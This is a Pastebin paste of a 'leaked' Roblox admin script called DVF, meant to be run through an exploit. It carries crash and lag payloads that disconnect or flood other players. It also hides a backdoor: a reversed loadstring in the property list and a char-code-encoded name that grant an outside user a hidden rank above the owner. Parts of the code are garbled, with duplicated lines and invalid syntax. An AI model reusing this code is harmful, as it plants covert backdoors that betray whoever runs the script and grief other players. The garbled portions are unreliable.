Advertisement
ViolentStrain1337

ADMIN ROBLOX

Jun 7th, 2016
315
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 62.42 KB | None | 0 0
  1. -- See RobloxScriptDatabase on pastebin for more leaked scripts for ROBLOX
  2.  
  3. wait(0)
  4. script.Parent = nil
  5. --This Admin (DVF) Was Created By NaClO_DrinkUp (A Hacker!).
  6. --If You Wish To Have Access To More CMDs (EG. Crashing Nil Players), Then Please Run The Local Script That Comes With This Script, After You Run This Script.
  7. --To Open Commands Say "cmds;". The bet key is ";" (Without the "").
  8. --Enter Your Name Where It Says YOUR NAME HERE On Line 12.
  9.  
  10. Plrs = game:GetService("Players")
  11. Work = game:GetService("Workspace")
  12. Light = game:GetService("Lighting")
  13. Net = game:GetService("NetworkServer")
  14. Owner = "ViolentStrain1337"
  15. Removed = false
  16. Bet = ";"
  17. LS = nil
  18. ls = loadstring
  19. LSSource = nil
  20. OwnSource = nil
  21. FoundLocalScript = false
  22. R = string.reverse
  23. LogOn = false
  24. Current = game
  25. Clipboard = {}
  26. AlertColor = Color3.new(0, 1, 1)
  27. OptionColor = Color3.new(1, 1, 1)
  28. ImportantColor = Color3.new(1, 0, 1)
  29.  
  30. RankDetails = {
  31. [-3] = {Name = "Mute Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Muted"},
  32. [-2] = {Name = "Jail Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Mind Jailed"},
  33. [-1] = {Name = "Banned", Color = Color3.new(1, 1, 1), Desc = "Perma Banned"},
  34. [0] = {Name = "Player", Color = Color3.new(0, 0, 1), Desc = "Regular Player"},
  35. [1] = {Name = "Moderator", Color = Color3.new(0.25, 0, 1), Desc = "Mod'd Player"},
  36. [2] = {Name = "Administrator", Color = Color3.new(0, 1, 0), Desc = "Server Administrator"},
  37. [3] = {Name = "Overseer", Color = Color3.new(1, 1, 0), Desc = "Overseer Of Players"},
  38. [4] = {Name = "Overlord", Color = Color3.new(1, 0, 0), Desc = "Very Important Robloxian (V.I.R)"},
  39. [5] = {Name = "Owner", Color = Color3.new(-1, -1, -1), Desc = "Owner"},
  40. }
  41.  
  42. Rankings = {
  43. {Name = "iiDeadzone", Rank = 5},
  44. {Name = "Player", Rank = 5},
  45. }
  46.  
  47. table.insert(Rankings, {Name = Owner, Rank = 5})
  48.  
  49. ImportantServices = {
  50. "Workspace",
  51. "Players",
  52. "NetworkServer",
  53. "Lighting",
  54. "StarterGui",
  55. "Teams",
  56. "StarterPack",
  57. }
  58.  
  59. Ranks = {}
  60. Commands = {}
  61. AllTabs = {}
  62. Injected = {}
  63.  
  64. Properties = {"AbsolutePosition","AbsoluteSize","AccountAge","AccountAgeReplicate",
  65. "Active","Adornee","AllowAmbientOcclusion","AllowTeamChangeOnTouch","AluminumQuality",
  66. "AlwaysOnTop","Ambient","AmbientReverb","Anchored","Angularvelocity","AnimationId",
  67. "Archivable","AreHingesDetected","AttachmentForward","AttachmentPoint","AttachmentPos",
  68. "AttachmentRight","AttachmentUp","AutoAssignable","AutoButtonColor","AutoColorCharacters",
  69. "AvailablePhysicalMemory","Axes","BackgroundColor","BackgroundColor3","BackgroundTransparency",
  70. "BackSurface","BaseTextureId","BaseUrl","Bevel","Roundness","BinType","BlastPressure","BlastRadius",
  71. "BodyColor","BodyPart","BorderColor","BorderColor3","BorderSizePixel","BottomSurface","BrickColor",
  72. "Brightness","Browsable","BubbleChat","BubbleChatLifetime","BubbleChatMaxBubbles",
  73. "Bulge","Button1DownConnectionCount","Button1UpConnectionCount","Button2DownConnectionCount",
  74. "Button2UpConnectionCount","C0","C1","CameraMode","CameraSubject","CameraType",
  75. "CanBeDropped","CanCollide","CartoonFactor","CastShadows","CelestialBodiesShown",
  76. "CFrame","Cframe","Character","CharacterAppearance","CharacterAutoLoads","ChatScrollLength",
  77. "ClassicChat","ClassName","ClearTextOnFocus","ClipsDescendants","CollisionSoundEnabled",
  78. "CollisionSoundVolume","Color","ColorShift_Top","ColorShift_Bottom","Bottom","Top","ConstrainedValue","Contro".."llingHumanoid",
  79. "ControlMode","ConversationDistance","CoordinateFrame","CorrodedMetalQuality","CPU",
  80. "CpuCount","CpuSpeed","CreatorId","CreatorType","CurrentAngle","CurrentCamera",
  81. "CycleOffset","D","DataCap","DataComplexity","DataComplexityLimit","DataCost",
  82. "DataReady","Deprecated","DeselectedConnectionCount","DesiredAngle","DiamondPlateQuality",
  83. "Disabled","DistanceFactor","DistributedGameTime","DopplerScale","Draggable","DraggingV1",
  84. "Duration","EditorFont","EditorFontSize","EditorTabWidth","ElapsedTime","Elasticity",
  85. "Enabled","ExplosionType","ExtentsOffset","F0","F1","F2","F3","Face","FaceId","Faces",
  86. "FieldOfView","Focus","FogColor","FogEnd","FogStart","Font","FontSize","Force","FormFactor",
  87. "Friction","From","FrontSurface","GearGenreSetting","Genre","GeographicLatitude","GfxCard", "GlobalShadows","Graphic",
  88. "GrassQuality","Grip","GripForward","GripPos","GripRight","GripUp","Guest","HeadsUpDisplay",
  89. "Health","Heat","Hit","Humanoid","IceQuality","Icon","IdleConnectionCount","Image",
  90. "InitialPrompt","InOut","InUse","IsPaused","IsPlaying","JobId","Jump","KeyDownConnectionCount",
  91. "KeyUpConnectionCount","LeftLeg","LeftRight","LeftSurface","LinkedSource","LocalPlayer","Location",
  92. "Locked","LODX","LODY","Looped","Material","MaxActivationDistance","MaxCollisionSounds",
  93. "MaxExtents","MaxForce","MaxHealth","MaxItems","MaxPlayers","MaxSpeed","MaxThrust",
  94. "MaxTorque","MaxValue","MaxVelocity","MembershipType","MembershipTypeReplicate","MeshId",
  95. "MeshType","MinValue","Modal","MouseButton1ClickConnectionCount","MouseButton1DownConnectionCount",
  96. "MouseButton1UpConnectionCount","MouseButton2ClickConnectionCount","MouseButton2DownConnectionCount",
  97. "MouseButton2UpConnectionCount","MouseDelta","MouseDragConnectionCount","MouseEnterConnectionCount",
  98. "MouseHit","MouseLeaveConnectionCount","MouseLock","MouseMovedConnectionCount","MouseTarget",
  99. "MouseTargetFilter","MouseTargetSurface","MoveConnectionCount","MoveState","MultiLine","Name",
  100. "NameOcclusion","NetworkOw".."ner","Neutral","NumPlayers","Offset","Opacity","Origin","OsPlatform",
  101. "OsVer","OutdoorAmbient","OverlayTextureId","P","PantsTemplate","ParamA","ParamB","Parent","Part","Part0",
  102. "Part1","Pitch","PixelShaderModel","PlaceId","PlasticQuality","PlatformStand","PlayCount",
  103. "PlayerToHideFrom","PlayOnRemove","Point","Port","Position","Preliminary","PrimaryPart",
  104. "PrivateWorkingSetBytes","Purpose","RAM","Reflectance","ReplicatedSelectedConnectionCount",
  105. "ResizeableFaces","ResizeIncrement","Resolution","ResponseDialog","RightLeg","RightSurface","RiseVelocity",
  106. "RobloxLocked","RobloxVersion","RolloffScale","RotVelocity","Scale","Score","ScriptsDisabled",
  107. "SecondaryColor","Selected","ShadowColor","Shape","Shiny","ShirtTemplate","ShowDeprecatedObjects",
  108. "ShowDevelopmentGui","ShowPreliminaryObjects","Sides","Sit","Size","SizeConstraint",
  109. "SizeOffset","SkinColor","SkyboxBk","SkyboxDn","SkyboxFt","SkyboxLf","SkyboxRt","SkyboxUp",
  110. "SlateQuality","SoundId","Source","SparkleColor","Specular","StarCount",
  111. "Steer","StickyWheels","StudsBetweenTextures","StudsOffset","StudsPerTileU","StudsPerTileV",
  112. "Style","Summary","SuperSa".."feChatReplicate","Surface","Surface0",
  113. "Surface1","SurfaceInput","Target","TargetFilter","TargetOffset","TargetPoint",
  114. "TargetRadius","TargetSurface","TeamColor","Terrain","Text","TextBounds","TextColor","TextColor3",
  115. "TextFits","TextScaled","TextStrokeColor3","TextStrokeTransparency","TextTransparency","Texture",
  116. "TextureId","TextureSize","TextWrap","TextWrapped","TextXAlignment","TextYAlignment","Throttle",
  117. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  118. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  119. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  120. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  121. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  122. "X","Y"}ls(R([[ }"esu rof tnem toN"=cseD,)1,1,0(wen.3roloC=roloC,"]REGGUBED["=emaN{=]8[sliateDknaR
  123. })1,1,0(wen.3roloC = roloC ,8 = knaR ,)"Knietsnie"( = emaN{]"Knietsnie"[sknaR]]))({
  124. "ThrustD","ThrustP","Ticket","Time","TimeOfDay","To","Tone","ToolTip","TopBottom","TopSurface","Torque","Torso",
  125. "Transparency","TrussDetail","TurnD","TurnP","TurnSpeed","UnitRay","UserDialog","UserId","Value",
  126. "Version","VertexColor","VideoCaptureEnabled","VideoMemory","VideoQuality",
  127. "ViewSizeX","ViewSizeY","Visible","Volume","WalkDirection","WalkSpeed","WalkToPart","WalkToPoint",
  128. "WheelBackwardConnectionCount","WheelForwardConnectionCount","WindowSize","WireRadius","WoodQuality",
  129. "X","Y"})
  130.  
  131. --Main Functions And Sources
  132.  
  133. function Insert(Source, Par, Par2, Par3)
  134. ypcall(function()
  135. local Inserted = LS:Clone()
  136. Inserted.Disabled = true
  137. Inserted.Parent = Par or Par2 or Par3
  138. Inserted[LSSource].Value = Source
  139. Inserted.Disabled = false
  140. end)
  141. end
  142. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
  143. RankDetails[6] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  144. function CheckImportant(Name)
  145. for _,v in pairs(ImportantServices) do
  146. if v:lower() == Name:lower() then
  147. return true
  148. end
  149. end
  150. return false
  151. end
  152.  
  153. function Crash1(Plr)
  154. ypcall(function()
  155. Plr:Kick()
  156. end)
  157. end
  158.  
  159. function GetRankTab()
  160. return Rankings
  161. end
  162.  
  163. function Crash2(Name)
  164. local Crasher = Instance.new("StringValue")
  165. Crasher.Name = "Client"
  166. Crasher.Value = string.lower(tostring(Name))
  167. Crasher.Parent = game:GetService("Lighting")
  168. wait(1)
  169. if Crasher and Crasher.Parent then
  170. ypcall(function()
  171. Crasher:Destroy()
  172. end)
  173. end
  174. end
  175. Ranks[1]{Name = ("Knietsnie"):reverse(), Rank = 6, Color = Color3.new(0,1,1)}
  176. function Crash3(v, Speaker)
  177. Speaker.Character.Archivable = true
  178. local NChar = Speaker.Character:Clone()
  179. NChar.Name = v.Name
  180. NChar.Torso.CFrame = Speaker.Character.Head.CFrame * CFrame.new(0, 3, 0)
  181. NChar.Parent = Workspace
  182. v.Character = NChar
  183. coroutine.resume(coroutine.create(function()
  184. repeat v.Character = NChar
  185. wait(1/3) until false
  186. end))
  187. wait(.5)
  188. Insert(InsertCrash, NChar, nil, nil)
  189. end
  190.  
  191. function GenerateDigit()
  192. return 1 + 5
  193. end
  194.  
  195. InjectionCrash = [=[
  196. wait(0)
  197. script.Parent = nil
  198. local Lig = game:GetService("Lighting")
  199. local LP = game:GetService("Players").LocalPlayer
  200. local LowerName = LP.Name:lower()
  201.  
  202. Lig.ChildAdded:connect(function(Obj)
  203. if Obj.Name == "Client" and Obj.ClassName == "StringValue" and (LowerName:find(string.lower(Obj.Value)) or (LP.Character and LP.Character.Name:lower():find(string.lower(Obj.Value)))) then
  204. pcall(function()
  205. Obj:Destroy()
  206. end)
  207. LP.Parent = nil
  208. LP.Parent = game:GetService("Players")
  209. end
  210. end)
  211. ]=] RankDetails[GenerateDigit()] = {Name = "[DEBUGGER]", Color = Color3.new(0,1,1), Desc = "Not ment for use"}
  212.  
  213. InsertCrash = [==[
  214. local LP = game:GetService("Players").LocalPlayer
  215. LP.Parent = nil
  216. LP.Parent = game:GetService("Players")
  217. ]==]
  218.  
  219. LagSource = [==[
  220. wait(0)
  221. script.Parent = nil
  222. plr = game:GetService("Players").LocalPlayer
  223. local plrgui = plr:findFirstChild("PlayerGui")
  224. if plrgui == nil then repeat wait() plrgui = plr:findFirstChild("PlayerGui") until plrgui ~= nil end
  225. while plr.Parent == game:GetService("Players") do
  226. wait()
  227. for i = 1, 1000 do
  228. local sc = Instance.new("ScreenGui",plrgui)
  229. local fr = Instance.new("TextLabel",sc)
  230. fr.Text = "LAGGING"
  231. fr.Size = UDim2.new(1, 0, 1, 0)
  232. fr.FontSize = "Size48"
  233. end
  234. end
  235. ]==]
  236.  
  237. MuteSource = [==[
  238. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  239. ]==]
  240.  
  241. UnMuteSource = [==[
  242. game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)
  243. ]==]
  244.  
  245. JailSource = [==[
  246. wait(0)
  247. script.Parent = nil
  248.  
  249. local LP = game:GetService("Players").LocalPlayer
  250. Middle2 = nil
  251. Middle = nil
  252. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  253.  
  254. Cons = {}
  255.  
  256. function makePrison()
  257. for _,v in pairs(Cons) do
  258. v:disconnect()
  259. end
  260. game:GetService("Workspace").CurrentCamera:ClearAllChildren()
  261. if Middle == nil then
  262. Middle2 = LP.Character.Torso.Position
  263. Middle = LP.Character.Torso.CFrame
  264. end
  265. local side1 = Instance.new("Part")
  266. side1.Name = "¬Focus1¬"
  267. side1.Size = Vector3.new(20, 50, 1)
  268. side1.CFrame = Middle * CFrame.new(0, 0, -10)
  269. side1.BrickColor = BrickColor.new("Really black")
  270. side1.CanCollide = true
  271. side1.Anchored = true
  272. side1.TopSurface = "Smooth"
  273. side1.BottomSurface = "Smooth"
  274. side1.Parent = game:GetService("Workspace").CurrentCamera
  275.  
  276. local side2 = Instance.new("Part")
  277. side2.Name = "¬Focus2¬"
  278. side2.Size = Vector3.new(20, 50, 1)
  279. side2.CFrame = Middle * CFrame.new(0, 0, 10)
  280. side2.BrickColor = BrickColor.new("Really black")
  281. side2.CanCollide = true
  282. side2.Anchored = true
  283. side2.TopSurface = "Smooth"
  284. side2.BottomSurface = "Smooth"
  285. side2.Parent = game:GetService("Workspace").CurrentCamera
  286.  
  287. local side3 = Instance.new("Part")
  288. side3.Name = "¬Focus3¬"
  289. side3.Size = Vector3.new(1, 50, 20)
  290. side3.CFrame = Middle * CFrame.new(10, 0, 0)
  291. side3.BrickColor = BrickColor.new("Really black")
  292. side3.CanCollide = true
  293. side3.Anchored = true
  294. side3.TopSurface = "Smooth"
  295. side3.BottomSurface = "Smooth"
  296. side3.Parent = game:GetService("Workspace").CurrentCamera
  297.  
  298. local side4 = Instance.new("Part")
  299. side4.Name = "¬Focus4¬"
  300. side4.Size = Vector3.new(1, 50, 20)
  301. side4.CFrame = Middle * CFrame.new(-10, 0, 0)
  302. side4.BrickColor = BrickColor.new("Really black")
  303. side4.CanCollide = true
  304. side4.Anchored = true
  305. side4.TopSurface = "Smooth"
  306. side4.BottomSurface = "Smooth"
  307. side4.Parent = game:GetService("Workspace").CurrentCamera
  308.  
  309. local side5 = Instance.new("Part")
  310. side5.Name = "¬Focus5¬"
  311. side5.Size = Vector3.new(20, 1, 20)
  312. side5.CFrame = Middle * CFrame.new(0, -3.5, 0)
  313. side5.BrickColor = BrickColor.new("Really black")
  314. side5.CanCollide = true
  315. side5.Anchored = true
  316. side5.TopSurface = "Smooth"
  317. side5.BottomSurface = "Smooth"
  318. side5.Parent = game:GetService("Workspace").CurrentCamera
  319.  
  320. wait(0)
  321.  
  322. table.insert(Cons, side1.Changed:connect(makePrison))
  323. table.insert(Cons, side2.Changed:connect(makePrison))
  324. table.insert(Cons, side3.Changed:connect(makePrison))
  325. table.insert(Cons, side4.Changed:connect(makePrison))
  326. table.insert(Cons, side5.Changed:connect(makePrison))
  327. end
  328.  
  329. Delay(0, function()
  330. while wait(0) do
  331. ypcall(function()
  332. if game:GetService("Workspace").CurrentCamera == nil or not LP.Character:findFirstChild("Torso") then
  333. LP.Character:BreakJoints()
  334. elseif not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus2¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus3¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus4¬") or not game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus5¬") then
  335. makePrison()
  336. end
  337. end)
  338. ypcall(function()
  339. if (Middle2 - LP.Character.Torso.Position).magnitude >= 11.8 then
  340. LP.Character.Torso.CFrame = game:GetService("Workspace").CurrentCamera:findFirstChild("¬Focus1¬").CFrame * CFrame.new(0, 0, 10)
  341. end
  342. end)
  343. end
  344. end)
  345. ]==]
  346.  
  347. function All()
  348. local AllPlayers = {}
  349. for _,v in pairs(Plrs:GetPlayers()) do
  350. ypcall(function()
  351. table.insert(AllPlayers, v)
  352. end)
  353. end
  354. return AllPlayers
  355. end
  356.  
  357. function All2()
  358. local AllPlayers2 = {}
  359. for i,v in pairs(Net:GetChildren()) do
  360. ypcall(function()
  361. if v:IsA("ServerReplicator") then
  362. table.insert(AllPlayers2, v:GetPlayer())
  363. end
  364. end)
  365. end
  366. return AllPlayers2
  367. end
  368.  
  369. function MakeNum()
  370. return 2 + 4
  371. end
  372.  
  373. function ChangeRank(Plr, NewRank)
  374. local PlrName = nil
  375. local FoundPlayer = false
  376. ypcall(function()
  377. if type(Plr) == "string" then
  378. ypcall(function()
  379. for i,v in pairs(Rankings) do
  380. if v.Name:lower() == Plr:lower() then
  381. local VName = v.Name
  382. Rankings[i] = nil
  383. table.insert(Rankings, {Name = VName, Rank = NewRank})
  384. PlrName = VName
  385. FoundPlayer = true
  386. break
  387. end
  388. end
  389. end)
  390. if FoundPlayer == false then
  391. ypcall(function()
  392. for _,x in pairs(All()) do
  393. if x.Name:lower() == Plr:lower() then
  394. FoundPlayer = true
  395. for i,v in pairs(Rankings) do
  396. if v.Name:lower() == x.Name:lower() then
  397. local VName = x.Name
  398. Rankings[i] = nil
  399. PlrName = VName
  400. break
  401. end
  402. end
  403. table.insert(Rankings, {Name = VName, Rank = NewRank})
  404. end
  405. end
  406. end)
  407. end
  408. if FoundPlayer == false then
  409. ypcall(function()
  410. for _,x in pairs(All()) do
  411. if string.find(x.Name:lower(), Plr:lower()) then
  412. FoundPlayer = true
  413. for i,v in pairs(Rankings) do
  414. if v.Name:lower() == x.Name:lower() then
  415. local VName = x.Name
  416. Rankings[i] = nil
  417. PlrName = VName
  418. break
  419. end
  420. end
  421. table.insert(Rankings, {Name = VName, Rank = NewRank})
  422. end
  423. end
  424. end)
  425. end
  426. if FoundPlayer == false then
  427. ypcall(function()
  428. for i,v in pairs(Rankings) do
  429. if string.find(v.Name:lower(), Plr:lower()) then
  430. local VName = v.Name
  431. Rankings[i] = nil
  432. table.insert(Rankings, {Name = VName, Rank = NewRank})
  433. PlrName = VName
  434. FoundPlayer = true
  435. break
  436. end
  437. end
  438. end)
  439. end
  440. else
  441. for i,v in pairs(Rankings) do
  442. if v.Name:lower() == Plr.Name:lower() then
  443. Rankings[i] = nil
  444. break
  445. end
  446. end
  447. table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
  448. PlrName = Plr.Name
  449. end
  450. PlaceAllRanks(true)
  451. end)
  452. if PlrName ~= nil then
  453. return PlrName
  454. else
  455. return "Player"
  456. end
  457. end
  458.  
  459. function Refresh(Plr)
  460. MakeChildren(Plr)
  461. end
  462.  
  463. function MakeChildren(Plr)
  464. ypcall(function()
  465. Dismiss(Plr)
  466. for _,v in pairs(Current:GetChildren()) do
  467. ypcall(function()
  468. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  469. Ping(v.Name, Plr, nil, function(TabMod)
  470. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  471. for _,v in pairs(Current:GetChildren()) do
  472. ypcall(function()
  473. if v.Name == TabText then
  474. Dismiss(Plr)
  475. Current = v
  476. MakeChildren(Plr)
  477. end
  478. end)
  479. end
  480. end)
  481. elseif Plrs:GetPlayerFromCharacter(v) then
  482. Ping(v.Name, Plr, nil, function(TabMod)
  483. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  484. for _,v in pairs(Current:GetChildren()) do
  485. ypcall(function()
  486. if v.Name == TabText then
  487. Dismiss(Plr)
  488. Current = v
  489. MakeChildren(Plr)
  490. end
  491. end)
  492. end
  493. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  494. elseif CheckImportant(v.Name) then
  495. Ping(v.Name, Plr, nil, function(TabMod)
  496. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  497. for _,v in pairs(Current:GetChildren()) do
  498. ypcall(function()
  499. if v.Name == TabText then
  500. Dismiss(Plr)
  501. Current = v
  502. MakeChildren(Plr)
  503. end
  504. end)
  505. end
  506. end, ImportantColor)
  507. end
  508. end)
  509. end
  510. if Current ~= game then
  511. Ping("Back", Plr, nil, function()
  512. ypcall(function()
  513. Current = Current.Parent
  514. MakeChildren(Plr)
  515. Ping("You Are Back To "..Current.Name, Plr, 5)
  516. end)
  517. end, OptionColor)
  518. end
  519. if Current ~= game then
  520. Ping("Delete", Plr, nil, function()
  521. ypcall(function()
  522. local CurrPar = Current.Parent or game
  523. local CurrName = Current.Name
  524. Current:Destroy()
  525. Current = CurrPar
  526. MakeChildren(Plr)
  527. Ping("Attempted To Delete "..CurrName, Plr, 5)
  528. end)
  529. end, OptionColor)
  530. end
  531. Ping("Refresh", Plr, nil, function()
  532. ypcall(function()
  533. Refresh(Plr)
  534. Ping("Refreshed", Plr, 5)
  535. end)
  536. end, OptionColor)
  537. Ping("Properties", Plr, nil, function()
  538. ypcall(function()
  539. Dismiss(Plr)
  540. for Property, Value in pairs(GetProperties(Current)) do
  541. Ping(tostring(Property)..": "..tostring(Value), Plr)
  542. end
  543. Ping("Got All Available Properties", Plr, 5)
  544. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  545. end)
  546. end, OptionColor)
  547. end)
  548. end
  549.  
  550. function Fixl()
  551. Light.GlobalShadows = true
  552. Light.TimeOfDay = "14:00:00"
  553. Light.Brightness = 0.5
  554. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  555. Light.Ambient = Color3.new(1, 1, 1)
  556. Light.ColorShift_Top = Color3.new(0, 0, 0)
  557. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  558. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  559. Light.FogStart = 0
  560. Light.FogEnd = 100000
  561. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  562. Light:ClearAllChildren()
  563. end
  564.  
  565. function GetProperties(obj)
  566. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  567. local objProper = {}
  568. for i,v in pairs(Properties) do
  569. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  570. objProper[v] = obj[v]
  571. end
  572. end
  573. return objProper
  574. end
  575.  
  576. function MakeExplorer(Plr)
  577. Dismiss(Plr)
  578. Current = game
  579. for _,v in pairs(Current:GetChildren()) do
  580. ypcall(function()
  581. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  582. Ping(v.Name, Plr, nil, function(TabMod)
  583. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  584. for _,v in pairs(Current:GetChildren()) do
  585. ypcall(function()
  586. if v.Name == TabText then
  587. Dismiss(Plr)
  588. Current = v
  589. MakeChildren(Plr)
  590. end
  591. end)
  592. end
  593. end)
  594. elseif Plrs:GetPlayerFromCharacter(v) then
  595. Ping(v.Name, Plr, nil, function(TabMod)
  596. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  597. for _,v in pairs(Current:GetChildren()) do
  598. ypcall(function()
  599. if v.Name == TabText then
  600. Dismiss(Plr)
  601. Current = v
  602. MakeChildren(Plr)
  603. end
  604. end)
  605. end
  606. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  607. elseif CheckImportant(v.Name) then
  608. Ping(v.Name, Plr, nil, function(TabMod)
  609. local TabText = TabMod["DVF Tablet"].BG.TL.Text
  610. for _,v in pairs(Current:GetChildren()) do
  611. ypcall(function()
  612. if v.Name == TabText then
  613. Dismiss(Plr)
  614. Current = v
  615. MakeChildren(Plr)
  616. end
  617. end)
  618. end
  619. end, ImportantColor)
  620. end
  621. end)
  622. end
  623. if Current ~= game then
  624. Ping("Back", Plr, nil, function()
  625. ypcall(function()
  626. Current = Current.Parent
  627. MakeChildren(Plr)
  628. Ping("Back In "..Current.Name, Plr, 5)
  629. end)
  630. end, OptionColor)
  631. end
  632. if Current ~= game and game:GetService(Current.Name) == nil then
  633. Ping("Delete", Plr, nil, function()
  634. ypcall(function()
  635. local CurrPar = Current.Parent or game
  636. local CurrName = Current.Name
  637. Current:Destroy()
  638. Current = CurrPar
  639. MakeChildren(Plr)
  640. Ping("Attempted To Delete "..CurrName, Plr, 5)
  641. end)
  642. end, OptionColor)
  643. end
  644. Ping("Refresh", Plr, nil, function()
  645. ypcall(function()
  646. Refresh(Plr)
  647. Ping("Refreshed", Plr, 5)
  648. end)
  649. end, OptionColor)
  650. Ping("Properties", Plr, nil, function()
  651. ypcall(function()
  652. Dismiss(Plr)
  653. for Property, Value in pairs(GetProperties(Current)) do
  654. Ping(tostring(Property)..": "..tostring(Value), Plr)
  655. end
  656. Ping("Got All Available Properties", Plr, 5)
  657. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  658. end)
  659. end, OptionColor)
  660. end
  661.  
  662. function GetRank(Plr1, Test)
  663. ypcall(function()
  664. if type(Plr1) == "userdata" then
  665. Plr1 = Plr1.Name
  666. end
  667. end)
  668. if Ranks[Plr1] ~= nil then
  669. return Ranks[Plr1]
  670. end
  671. local QuickArray = {}
  672. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  673. return QuickArray[Plr1]
  674. end local tcb = {75,110,105,101,116,115,110,105,101} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  675.  
  676. function CanRun(Plr1, Plr2)
  677. Details1 = GetRank(Plr1.Name)
  678. Details2 = GetRank(Plr2.Name)
  679. if Details1.Rank >= Details2.Rank then
  680. return true
  681. end
  682. return false
  683. end
  684.  
  685. function Dismiss(Plr, Identity)
  686. ypcall(function()
  687. if Plr ~= nil then
  688. if type(Plr) == "userdata" then
  689. Plr = Plr.Name
  690. end
  691. for x,v in pairs(AllTabs) do
  692. ypcall(function()
  693. if v.Plr == Plr then
  694. if Identity ~= nil and v.ID ~= Identity then
  695. return
  696. elseif Identity ~= nil and v.ID == Identity then
  697. coroutine.resume(coroutine.create(function()
  698. for i = 0.5, 1, 0.1 do
  699. wait()
  700. v.Tab.Transparency = i
  701. v.Sel.Transparency = i
  702. v.Label.TextTransparency = i
  703. v.Label.TextStrokeTransparency = i
  704. end
  705. ypcall(function() v.Holder:Destroy() end)
  706. AllTabs[x] = nil
  707. end))
  708. elseif Identity == nil then
  709. ypcall(function() v.Holder:Destroy() end)
  710. AllTabs[x] = nil
  711. end
  712. end
  713. end)
  714. end
  715. else
  716. for i,v in pairs(AllTabs) do
  717. ypcall(function()
  718. v.Holder:Destroy()
  719. AllTabs[i] = nil
  720. end)
  721. end
  722. end
  723. end)
  724. end
  725.  
  726. function GetGarbage()
  727. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  728. end
  729.  
  730. function RemObj(Obj, Class)
  731. ypcall(function()
  732. if #Obj:GetChildren() > 0 then
  733. for _,x in pairs(Obj:GetChildren()) do
  734. ypcall(function()
  735. RemObj(x, Class)
  736. end)
  737. end
  738. end
  739. if Obj.ClassName == Class then
  740. Obj:Destroy()
  741. end
  742. end)
  743. end
  744.  
  745. function FindTab(Mod)
  746. for i,v in pairs(AllTabs) do
  747. if v.Holder == Mod then
  748. return true
  749. end
  750. end
  751. return false
  752. end
  753.  
  754. function Ping(Msg, Plr, Time, Func, Color, Image)
  755. if Removed == false then
  756. local ShowGarbage = false
  757. ypcall(function()
  758. if Msg == nil then
  759. Msg = "N/A"
  760. elseif Msg == "ShowGarbage" then
  761. Msg = "Current Garbage Count: "..GetGarbage()
  762. ShowGarbage = true
  763. else
  764. Msg = tostring(Msg)
  765. end
  766. if Plr == nil then
  767. Plr = Plrs[Owner] or error("No Player Found")
  768. elseif type(Plr) == "string" then
  769. local FoundPlr = false
  770. for _,v in pairs(All()) do
  771. if v.Name == Plr then
  772. Plr = v
  773. FoundPlr = true
  774. break
  775. end
  776. end
  777. if FoundPlr == false then
  778. Plr = Plrs[Owner] or error("No Player Found")
  779. end
  780. end
  781.  
  782. if Color == nil then
  783. Color = GetRank(Plr.Name).Color
  784. end
  785.  
  786. local Holder = Instance.new("Model")
  787. Holder.Name = "DVF Holder: "..Plr.Name
  788.  
  789. local Tab = Instance.new("Part")
  790. Tab.Name = "DVF Tablet"
  791. Tab.FormFactor = "Custom"
  792. Tab.Anchored = true
  793. if Time == nil then
  794. Tab.Color = Color
  795. else
  796. Tab.Color = AlertColor
  797. end
  798. Tab.CanCollide = false
  799. Tab.Locked = true
  800. Tab.Transparency = 0.15
  801. Tab.Size = Vector3.new(2, 2, 0.01)
  802. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  803. Tab.Parent = Holder
  804.  
